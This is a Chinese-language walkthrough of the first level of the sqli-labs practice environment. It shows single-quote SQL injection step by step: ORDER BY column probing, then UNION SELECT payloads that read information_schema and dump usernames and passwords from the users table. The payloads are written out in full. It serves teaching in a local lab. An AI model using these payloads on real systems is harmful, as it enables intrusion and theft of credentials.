less1:
根据题目提示为单引号注入,先测试一下
果然报错了,说明我们添加的单引号被数据库成功解析,那我们就可以通过闭合id这个参数 ,然后构造自己的sql语句进行攻击。一般可以使用联合表的方式来提取自己想要的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。
那么知道这个我们就开始查字段吧
确定字段数一般可以使用order by 语句:
http://localhost/sqlilabs/Less-1/?id=1 order by 1 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 2 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 3 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 4 %23
报错:
//注意这里使用 #
是不行的,游览器没有帮我们编码,所以我们自己编
%23
为#
的url编码,--+
可以直接使用//
即只有三个字段,那么现在开始联合查询:
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果 集变为空,这样我们想要的结果才能显示在界面上
同时又需要确定哪几个字段会被显示在页面上:
可以看出2,3字段被显示出来,
接着爆数据库
看到数据库名为:security,接着再查其他信息
http://localhost/sqli-labs/Less-1/ ?id='union select 1,2,concat_ws((char(32,58,32)),user(),database(),version())--+
这里我使用了concat_ws() 函数:
concat_ws(separator,str1,str2,…)
第一个参数是其它参数的分隔符。分隔符的位置放在要连 接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
es:
select concat_ws(’,’ , ‘11’ , ‘22’ , ‘33’); 11,22,33
group_concat(): 使多行数据在一列显示
char(32,58,32)对应ascill码为空格:空格
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
我们还要知道在Mysql中有information_schema这个库,该库存放了所有数据库的信息。
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
OK 得到这些信息之后我们再来看看数据库有哪些表
http://localhost/sqli-labs/Less-1/
?id='union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
可以看到有四张表,我们想要的信息基本都在user表下
我们对这张表爆列名:
http://localhost/sqli-labs/Less-1/ ?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
接着进行爆用户信息
http://localhost/sqli-labs/Less-1/ ?id=' union select 1,group_concat(username),group_concat(password) from users --+
OKヾ(≧▽≦*)o 第一关到此结束。